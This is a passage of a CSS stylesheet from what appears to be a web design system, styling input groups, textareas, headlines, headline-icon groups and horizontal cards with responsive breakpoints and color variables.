vertical-align: top
}
.input-text-group__icon--location {
line-height: 1
}
.input-text-group__icon--location:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--mail {
line-height: 1
}
.input-text-group__icon--mail:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--phone {
line-height: 1
}
.input-text-group__icon--phone:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--search {
line-height: 1
}
.input-text-group__icon--search:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important
}
.input-text-group__action,.input-text-group__icon--search:before {
font-size: var(--default-text-size,14px);
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__action {
background: transparent;
border-right: 1px solid var(--secondary-shape-color,#97a3b4);
color: var(--interactive-text-color,#1474c4);
cursor: text;
cursor: pointer;
display: inline;
flex: 0 1 0%;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
margin: 0;
padding: 5px 8px;
text-decoration: none;
-webkit-transform: translateX(-1px);
transform: translateX(-1px);
white-space: nowrap
}
.input-text-group__action:last-child,.input-text-group__action:only-child {
border-right: 0
}
.input-text-group__action--bright {
border-right-color: var(--white,#fff);
color: var(--white,#fff)
}
.input-text-group--disabled .input-text-group__action {
cursor: not-allowed;
pointer-events: none
}
.input-text-group__action:hover {
color: var(--corporate-text-color,#0b2a63)
}
.input-text-group--disabled .input-text-group__action:hover,.input-text-group--disabled:hover .input-text-group__action {
color: var(--tertiary-text-color,#718095)
}
.input-text-group__action--search {
border: 0;
line-height: 1
}
.input-text-group__action--search:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__action--reset {
line-height: 1;
padding-right: 4px
}
.input-text-group__action--reset:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__action--show-password {
line-height: 1
}
.input-text-group__action--show-password:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__action--hide-password {
line-height: 1
}
.input-text-group__action--hide-password:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__action--copy {
line-height: 1
}
.input-text-group__action--copy:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group--disabled .input-text-group__action--reset,.input-text-group--empty .input-text-group__action--reset {
display: none
}
.input-textarea {
background-color: transparent;
border: 1px solid var(--secondary-shape-color,#97a3b4);
border-radius: var(--small-border-radius,8px);
box-shadow: none;
box-sizing: border-box;
color: var(--default-text-color,#001b41);
display: inline-block;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--default-text-size,14px);
line-height: 22px;
padding: 12px;
width: 100%
}
.input-textarea:hover {
border-color: var(--secondary-text-color,#465a75)
}
.input-textarea:focus {
border-color: var(--interactive-shape-color,#1474c4);
outline: 0
}
.input-textarea--error,.input-textarea--error:hover {
border-color: var(--critical-text-color,#c80a00)
}
.input-textarea--error:focus {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-textarea--disabled {
color: var(--tertiary-text-color,#718095);
cursor: not-allowed
}
.input-textarea--disabled:hover {
border-color: var(--tertiary-shape-color,#bcc8d4)
}
.input-textarea--narrow {
width: 70%
}
@media only screen and (max-width: 666px) {
.input-textarea--narrow {
width:100%
}
}
.input-textarea--inline {
width: auto
}
@media only screen and (max-width: 666px) {
.input-textarea--inline {
width:100%
}
}
.input-textarea--code {
background-color: var(--secondary-textarea-background-color,#dbe2e8);
font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;
margin-bottom: 12px;
overflow-x: scroll;
padding: 8px;
resize: none;
white-space: pre
}
.input-textarea--noresize {
resize: none
}
.input-textarea--noresize-x {
resize: vertical
}
.input-textarea--noresize-y {
resize: horizontal
}
.input-textarea--bright {
border-color: var(--white,#fff);
color: var(--white,#fff)
}
@media only screen and (max-width: 666px) {
.input-textarea {
border-radius:var(--xsmall-border-radius,4px)
}
}
.input-textarea--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.input-textarea--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.input-textarea--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.input-textarea--small-hidden {
display:none
}
}
.input-button-combination {
display: flex
}
.input-button-combination--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.input-button-combination--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.input-button-combination--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.input-button-combination--small-hidden {
display:none
}
}
.input-button-combination__input {
flex-grow: 1;
flex-shrink: 1;
margin-right: 11px
}
.input-button-combination__action {
flex-grow: 0;
flex-shrink: 1
}
.headline {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
align-items: center;
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--second-level-headline-size,22px);
font-weight: inherit;
line-height: var(--second-level-headline-line-height,1.364em);
margin-bottom: 16px;
margin-top: -4px;
word-break: break-word
}
.headline--sub {
font-size: var(--third-level-headline-size,16px);
line-height: var(--third-level-headline-line-height,1.5em);
margin-bottom: 12px
}
.headline--paragraph,.headline--sub {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
margin-top: 0
}
.headline--paragraph {
font-size: var(--fourth-level-headline-size,14px);
line-height: var(--fourth-level-headline-line-height,1.429em);
margin-bottom: 6px
}
.headline--cropped {
margin-bottom: 0
}
.headline--exos-icon {
line-height: normal
}
.headline--exos-icon:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: 6px;
vertical-align: top;
vertical-align: middle
}
.headline>.exos-icon,.headline>.svg-icon {
vertical-align: middle
}
.headline>.svg-icon {
margin: 0 6px 4px 0;
pointer-events: none
}
@media only screen and (max-width: 666px) {
.headline>.svg-icon {
margin-bottom:0;
min-width: 24px
}
}
.headline+.accordion,.headline+.card,.headline+.horizontal-card,.headline+.panel,.headline+.sheet,.headline+.stripe,.headline+.table {
margin-top: 16px
}
.headline--align-center {
justify-content: center;
text-align: center
}
.headline--align-left {
justify-content: flex-start;
text-align: left
}
.headline--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.headline--large-align-center {
justify-content:center;
text-align: center
}
.headline--large-align-left {
justify-content: flex-start;
text-align: left
}
.headline--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline--medium-align-center {
justify-content:center;
text-align: center
}
.headline--medium-align-left {
justify-content: flex-start;
text-align: left
}
.headline--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.headline--small-align-center {
justify-content:center;
text-align: center
}
.headline--small-align-left {
justify-content: flex-start;
text-align: left
}
.headline--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.headline--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.headline--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.headline--small-hidden {
display:none
}
}
.headline--success {
color: var(--success-text-color,#096b35)
}
.headline--warning {
color: var(--warning-text-color,#c36b00)
}
.headline--critical {
color: var(--critical-text-color,#c80a00)
}
.headline--neutral {
color: var(--neutral-text-color,#465a75)
}
.headline--activating {
color: var(--activating-text-color,#007e9c)
}
.headline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.headline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.headline--bright {
color: var(--white,#fff)
}
.headline.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.headline.exos-icon--bright:before {
color: var(--white,#fff)
}
.headline.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.headline.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.headline.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.headline.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.headline.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.headline.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.headline.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.headline--break-all {
word-break: break-all
}
.headline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.headline--small-break-all {
word-break:break-all
}
.headline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline--medium-break-all {
word-break:break-all
}
.headline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.headline--large-break-all {
word-break:break-all
}
.headline--large-break-word {
word-break: break-word
}
}
.headline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.headline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.headline--large-nowrap {
white-space:nowrap
}
}
.headline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.headline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.headline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.headline--paragraph+.headline,.headline--paragraph+.headline--sub {
margin-top: -6px
}
@media only screen and (max-width: 666px) {
.headline {
font-family:var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--second-level-mobile-headline-size,16px);
line-height: var(--second-level-mobile-headline-line-height,1.25em);
margin-top: 0
}
.headline--sub {
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--third-level-mobile-headline-size,16px);
line-height: var(--third-level-mobile-headline-line-height,1.5em);
margin-bottom: 8px
}
.headline--paragraph {
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--fourth-level-mobile-headline-size,14px);
line-height: var(--fourth-level-mobile-headline-line-height,1.429em)
}
.headless-mode .headline--headless-hidden {
display: none
}
}
.headline-icon-group {
align-items: center;
display: flex;
flex-flow: row;
padding-bottom: 16px
}
.headline-icon-group--cropped {
padding-bottom: 0
}
.headline-icon-group__icon {
display: flex;
flex-flow: wrap;
margin: 0 15px 0 0;
max-height: 64px;
width: auto
}
.headline-icon-group__icon:last-child {
margin-left: 15px;
margin-right: 0
}
@media only screen and (max-width: 666px) {
.headline-icon-group__icon {
max-height:48px
}
}
.headline-icon-group__icon--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__icon--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__icon--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__icon--small-hidden {
display:none
}
}
.headline-icon-group__icon--vertical-align-bottom {
align-self: flex-end
}
.headline-icon-group__icon--vertical-align-center {
align-self: center
}
.headline-icon-group__icon--vertical-align-middle {
vertical-align: middle
}
.headline-icon-group__icon--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__icon--large-vertical-align-bottom {
align-self:flex-end
}
.headline-icon-group__icon--large-vertical-align-center {
align-self: center
}
.headline-icon-group__icon--large-vertical-align-middle {
vertical-align: middle
}
.headline-icon-group__icon--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__icon--medium-vertical-align-bottom {
align-self:flex-end
}
.headline-icon-group__icon--medium-vertical-align-center {
align-self: center
}
.headline-icon-group__icon--medium-vertical-align-middle {
vertical-align: middle
}
.headline-icon-group__icon--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__icon--small-vertical-align-bottom {
align-self:flex-end
}
.headline-icon-group__icon--small-vertical-align-center {
align-self: center
}
.headline-icon-group__icon--small-vertical-align-middle {
vertical-align: middle
}
.headline-icon-group__icon--small-vertical-align-top {
align-self: flex-start
}
}
.headline-icon-group__headline {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
font-size: var(--second-level-headline-size,22px);
font-weight: inherit;
line-height: var(--second-level-headline-line-height,1.364em);
margin-bottom: 3px;
word-break: break-word
}
.headline-icon-group__headline,.headline-icon-group__headline--sub {
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif)
}
.headline-icon-group__headline--sub {
font-size: var(--third-level-headline-size,16px);
line-height: var(--third-level-headline-line-height,1.5em)
}
.headline-icon-group__headline--paragraph {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--fourth-level-headline-size,14px);
line-height: var(--fourth-level-headline-line-height,1.429em)
}
.headline-icon-group__headline--cropped {
margin-bottom: 0
}
.headline-icon-group__headline:first-child {
margin-top: 3px
}
.headline-icon-group__headline:last-child {
margin-bottom: 0
}
.headline-icon-group__headline--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__headline--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__headline--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__headline--small-hidden {
display:none
}
}
.headline-icon-group__headline--success {
color: var(--success-text-color,#096b35)
}
.headline-icon-group__headline--warning {
color: var(--warning-text-color,#c36b00)
}
.headline-icon-group__headline--critical {
color: var(--critical-text-color,#c80a00)
}
.headline-icon-group__headline--neutral {
color: var(--neutral-text-color,#465a75)
}
.headline-icon-group__headline--activating {
color: var(--activating-text-color,#007e9c)
}
.headline-icon-group__headline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.headline-icon-group__headline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.headline-icon-group__headline--bright {
color: var(--white,#fff)
}
.headline-icon-group__headline--break-all {
word-break: break-all
}
.headline-icon-group__headline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.headline-icon-group__headline--small-break-all {
word-break:break-all
}
.headline-icon-group__headline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__headline--medium-break-all {
word-break:break-all
}
.headline-icon-group__headline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__headline--large-break-all {
word-break:break-all
}
.headline-icon-group__headline--large-break-word {
word-break: break-word
}
}
.headline-icon-group__headline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.headline-icon-group__headline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__headline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__headline--large-nowrap {
white-space:nowrap
}
}
.headline-icon-group__headline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__headline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__headline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__headline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.headline-icon-group__preheadline {
color: var(--default-text-color,#001b41);
margin-bottom: 3px
}
.headline-icon-group__preheadline:first-child {
margin-top: 3px
}
.headline-icon-group__preheadline--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__preheadline--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__preheadline--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__preheadline--small-hidden {
display:none
}
}
.headline-icon-group__preheadline--success {
color: var(--success-text-color,#096b35)
}
.headline-icon-group__preheadline--warning {
color: var(--warning-text-color,#c36b00)
}
.headline-icon-group__preheadline--critical {
color: var(--critical-text-color,#c80a00)
}
.headline-icon-group__preheadline--neutral {
color: var(--neutral-text-color,#465a75)
}
.headline-icon-group__preheadline--activating {
color: var(--activating-text-color,#007e9c)
}
.headline-icon-group__preheadline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.headline-icon-group__preheadline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.headline-icon-group__preheadline--bright {
color: var(--white,#fff)
}
.headline-icon-group__preheadline--break-all {
word-break: break-all
}
.headline-icon-group__preheadline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.headline-icon-group__preheadline--small-break-all {
word-break:break-all
}
.headline-icon-group__preheadline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__preheadline--medium-break-all {
word-break:break-all
}
.headline-icon-group__preheadline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__preheadline--large-break-all {
word-break:break-all
}
.headline-icon-group__preheadline--large-break-word {
word-break: break-word
}
}
.headline-icon-group__preheadline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.headline-icon-group__preheadline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__preheadline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__preheadline--large-nowrap {
white-space:nowrap
}
}
.headline-icon-group__preheadline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__preheadline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__preheadline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__preheadline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.headline-icon-group__paragraph {
color: var(--default-text-color,#001b41);
margin-bottom: 3px
}
.headline-icon-group__paragraph--cropped,.headline-icon-group__paragraph:last-child {
margin-bottom: 0
}
.headline-icon-group__paragraph--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__paragraph--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__paragraph--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__paragraph--small-hidden {
display:none
}
}
.headline-icon-group__paragraph--success {
color: var(--success-text-color,#096b35)
}
.headline-icon-group__paragraph--warning {
color: var(--warning-text-color,#c36b00)
}
.headline-icon-group__paragraph--critical {
color: var(--critical-text-color,#c80a00)
}
.headline-icon-group__paragraph--neutral {
color: var(--neutral-text-color,#465a75)
}
.headline-icon-group__paragraph--activating {
color: var(--activating-text-color,#007e9c)
}
.headline-icon-group__paragraph--promoting {
color: var(--promoting-text-color,#560e8a)
}
.headline-icon-group__paragraph--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.headline-icon-group__paragraph--bright {
color: var(--white,#fff)
}
.headline-icon-group__paragraph--break-all {
word-break: break-all
}
.headline-icon-group__paragraph--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.headline-icon-group__paragraph--small-break-all {
word-break:break-all
}
.headline-icon-group__paragraph--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__paragraph--medium-break-all {
word-break:break-all
}
.headline-icon-group__paragraph--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__paragraph--large-break-all {
word-break:break-all
}
.headline-icon-group__paragraph--large-break-word {
word-break: break-word
}
}
.headline-icon-group__paragraph--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.headline-icon-group__paragraph--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__paragraph--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__paragraph--large-nowrap {
white-space:nowrap
}
}
.headline-icon-group__paragraph--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__paragraph--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__paragraph--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__paragraph--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.headline-icon-group__headline-container--full-width {
width: 100%
}
.headline-icon-group__headline-container--align-center {
justify-content: center;
text-align: center
}
.headline-icon-group__headline-container--align-left {
justify-content: flex-start;
text-align: left
}
.headline-icon-group__headline-container--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.headline-icon-group__headline-container--large-align-center {
justify-content:center;
text-align: center
}
.headline-icon-group__headline-container--large-align-left {
justify-content: flex-start;
text-align: left
}
.headline-icon-group__headline-container--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.headline-icon-group__headline-container--medium-align-center {
justify-content:center;
text-align: center
}
.headline-icon-group__headline-container--medium-align-left {
justify-content: flex-start;
text-align: left
}
.headline-icon-group__headline-container--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.headline-icon-group__headline-container--small-align-center {
justify-content:center;
text-align: center
}
.headline-icon-group__headline-container--small-align-left {
justify-content: flex-start;
text-align: left
}
.headline-icon-group__headline-container--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.headline-icon-group__icon+.headline-icon-group__headline-container {
flex-grow: 1
}
.horizontal-card {
background-color: var(--white,#fff);
border: var(--card-border,1px solid #bcc8d4);
border-radius: var(--default-border-radius,16px);
box-shadow: var(--card-shadow,0 1px 2px 0 #718095);
display: flex;
margin-bottom: 32px;
position: relative;
transition: box-shadow .3s ease-out;
width: 100%
}
.horizontal-card--page-context {
background-color: transparent;
border: none;
border-radius: 0;
box-shadow: inherit
}
.horizontal-card--reversed {
flex-flow: row-reverse
}
.horizontal-card--advertising,.horizontal-card--beta,.horizontal-card--premium {
border: none
}
.horizontal-card.__direct-selection:hover {
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095)
}
@media only screen and (max-width: 666px) {
.horizontal-card {
border-radius:var(--small-border-radius,8px);
margin-bottom: 16px
}
}
.horizontal-card--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.horizontal-card--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.horizontal-card--small-hidden {
display:none
}
}
.horizontal-card--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.horizontal-card--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-success:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-success:last-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-success:only-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.horizontal-card--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-warning:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-warning:last-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-warning:only-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.horizontal-card--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-critical:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-critical:last-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-critical:only-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.horizontal-card--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-neutral:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-neutral:last-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-neutral:only-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.horizontal-card--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-activating:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-activating:last-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-activating:only-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.horizontal-card--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-corporate:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-corporate:last-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-corporate:only-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.horizontal-card--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-promoting:first-child {
border-radius:0
}
}
.horizontal-card--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-promoting:last-child {
border-radius:0
}
}
